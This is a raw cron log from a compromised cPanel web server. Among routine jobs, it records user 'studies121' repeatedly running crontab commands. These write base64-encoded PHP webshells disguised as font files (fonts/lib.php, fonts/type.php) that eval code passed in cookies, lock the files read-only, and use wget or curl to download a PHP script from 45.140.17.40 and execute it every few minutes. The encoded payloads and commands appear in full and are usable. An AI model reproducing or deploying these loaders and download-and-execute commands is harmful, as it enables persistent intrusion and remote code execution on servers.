Sep  6 16:18:01 ip-184-168-122-23 CROND[26956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:18:01 ip-184-168-122-23 CROND[26958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:18:01 ip-184-168-122-23 CROND[26959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:18:01 ip-184-168-122-23 CROND[26962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:19:01 ip-184-168-122-23 CROND[27153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:19:01 ip-184-168-122-23 CROND[27154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:19:01 ip-184-168-122-23 CROND[27155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:19:01 ip-184-168-122-23 CROND[27158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:20:02 ip-184-168-122-23 CROND[27276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:20:02 ip-184-168-122-23 CROND[27279]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 16:20:02 ip-184-168-122-23 CROND[27281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:20:02 ip-184-168-122-23 CROND[27285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:20:02 ip-184-168-122-23 CROND[27289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:20:02 ip-184-168-122-23 CROND[27291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:20:02 ip-184-168-122-23 CROND[27288]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:20:02 ip-184-168-122-23 CROND[27290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:20:02 ip-184-168-122-23 CROND[27287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:21:01 ip-184-168-122-23 CROND[27401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:21:01 ip-184-168-122-23 CROND[27402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:21:01 ip-184-168-122-23 CROND[27403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:21:01 ip-184-168-122-23 CROND[27404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:22:01 ip-184-168-122-23 CROND[27545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:22:01 ip-184-168-122-23 CROND[27547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:22:01 ip-184-168-122-23 CROND[27549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:22:01 ip-184-168-122-23 CROND[27548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:22:01 ip-184-168-122-23 CROND[27550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:23:01 ip-184-168-122-23 CROND[27673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:23:01 ip-184-168-122-23 CROND[27676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:23:01 ip-184-168-122-23 CROND[27675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:23:01 ip-184-168-122-23 CROND[27677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:24:01 ip-184-168-122-23 CROND[27793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:24:02 ip-184-168-122-23 CROND[27795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:24:02 ip-184-168-122-23 CROND[27797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:24:02 ip-184-168-122-23 CROND[27799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:24:02 ip-184-168-122-23 CROND[27798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:25:01 ip-184-168-122-23 CROND[27997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:25:01 ip-184-168-122-23 CROND[27999]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 16:25:01 ip-184-168-122-23 CROND[28005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:25:01 ip-184-168-122-23 CROND[28000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:25:01 ip-184-168-122-23 CROND[28002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:25:01 ip-184-168-122-23 CROND[28001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:25:01 ip-184-168-122-23 CROND[28003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:26:01 ip-184-168-122-23 CROND[28109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:26:01 ip-184-168-122-23 CROND[28112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:26:01 ip-184-168-122-23 CROND[28111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:26:01 ip-184-168-122-23 CROND[28113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:26:01 ip-184-168-122-23 CROND[28114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:27:01 ip-184-168-122-23 CROND[28207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:27:01 ip-184-168-122-23 CROND[28210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:27:01 ip-184-168-122-23 CROND[28209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:27:01 ip-184-168-122-23 CROND[28212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:28:01 ip-184-168-122-23 CROND[28308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:28:01 ip-184-168-122-23 CROND[28310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:28:01 ip-184-168-122-23 CROND[28312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:28:01 ip-184-168-122-23 CROND[28311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:28:01 ip-184-168-122-23 CROND[28313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:29:01 ip-184-168-122-23 CROND[28405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:29:01 ip-184-168-122-23 CROND[28404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:29:01 ip-184-168-122-23 CROND[28406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:29:01 ip-184-168-122-23 CROND[28408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:30:01 ip-184-168-122-23 CROND[28617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:30:01 ip-184-168-122-23 CROND[28619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:30:01 ip-184-168-122-23 CROND[28620]: (root) CMD (/usr/lib64/sa/sa1 1 1)
